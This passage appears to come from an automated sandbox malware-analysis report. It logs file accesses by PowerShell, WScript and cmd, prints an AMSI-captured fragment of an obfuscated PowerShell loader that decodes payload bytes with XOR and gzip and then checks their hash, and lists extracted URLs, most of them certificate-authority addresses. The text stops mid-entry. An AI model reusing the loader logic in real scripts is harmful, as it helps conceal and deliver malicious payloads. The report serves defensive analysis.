"C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSVCP140.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\MSVCP140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL"41:T7be,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier" "WScript.exe" trying to access non-existent file "C:\Windows\System32\cmd.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\WINDOWS\system32\cmd.exe:Zone.Identifier" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1"42:T427,Observed email domain:"{try{$bsrur=([type]$cmsub).getmethod($mwhki,[type[]]@([string])).invoke($null,@($dcaxk))}catch{exit 12;};$ecscf=$null;foreach($iscvl in ($ajkej -split ';')){if($iscvl -and $iscvl.startswith('amsi|')){$ecscf=$iscvl;break}};if(-not $ecscf){exit 12};$pzgki=$ecscf.split('|');if($pzgki.length -lt 4){exit 12};$cdlet=0;if($pzgki.length -ge 5){$cdlet=[int]$pzgki[4]};if($pzgki.length -ge 6){$xk=[int]$pzgki[5];for($zi=0;$zi -lt $bsrur.length;$zi++){$bsrur[$zi]=[byte](($bsrur[$zi] -bxor $xk) -band 255)}};if($cdlet -eq 1){$mznqh=new-object io.memorystream(,$bsrur);$ogdmx=new-object io.memorystream;$gyvjj=new-object io.compression.gzipstream($mznqh,[io.compression.compressionmode]::decompress);try{$gyvjj.copyto($ogdmx)}finally{$gyvjj.dispose();$mznqh.dispose()};$bsrur=$ogdmx.toarray();$ogdmx.dispose()};if([int]$pzgki[2] -ne $bsrur.length){exit 20};$slitc=[security.cryptography.sha256]::create();try{$hktaa=[bitconverter]::tostring($slitc.computehash($bsrur)).replace('-','').tolowerinvariant()}finally{$slitc.dispose()};if($" [Source: AMSI]43:T1386,Heuristic match: "ywwqx.charat(493)+wzhywwqx.charat(494);var nrovap = wzhywwqx.charat(501)+wzhywwqx.charat(502);var iflnpxrj = wzhywwqx.charat(506)+wzhywwqx.charat(507);var friu = wzhywwqx.charat(514)+wzhywwqx.charat(515);var vgnggnay = wzhywwqx.charat(523)+wzhywwqx.charat(" Heuristic match: "ip-api.com" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Pattern match: "microsoft.net/framework64/v4.0.30319/" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Pattern match: "www.digicert.com1" Heuristic match: "2.0.microsoft.office.in" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.digi" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://www.microsoft.com/win#" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Heuristic match: "io.fm" Heuristic match: "utioncontext.in"44:T15a34,Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00000652.00000000.235397.6C850000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00000652.00000000.235397.6C850000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00000652.00000000.235397.6C850000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcdigicert" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ydigicert" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.miprod*/mict2011_20p" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found URL "http://www.microsoft.com/win" - Source: "00000000-00000652.00000000.235397.6F220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0p://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00000652.00000000.235397.6F220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000652.00000000.235397.6F220000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00000868.00000000.235762.29D10000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00000868.00000000.235762.29D10000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00000868.00000000.235762.29D10000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.11.15" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lk;j0verisign," - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000868.00000000.235762.44120000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdata\mwindowsindows" - Source: "00000000-00000868.00000000.235762.44230000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@washington1redmond1microsoft" - Source: "00000000-00000868.00000000.235762.44230000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0red" - Source: "00000000-00000868.00000000.235762.44230000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00000868.00000000.235762.44230000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00000868.00000000.235762.44230000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000868.00000000.235762.44230000.00000004.mdmp") Found URL "http://crl.microsoft/crl/products/microoceraut_2010-06-23.crn0l0j>http://www.microspki/certceraut_2010-06-23.crt01httmicrosoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00000868.00000000.235762.44710000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00000868.00000000.235762.44710000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00000868.00000000.235762.8E918000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00000868.00000000.235762.8E918000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00000868.00000000.235762.8E918000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00000868.00000001.236285.29D10000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00000868.00000001.236285.29D10000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00000868.00000001.236285.29D10000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00000868.00000001.236285.29D10000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL 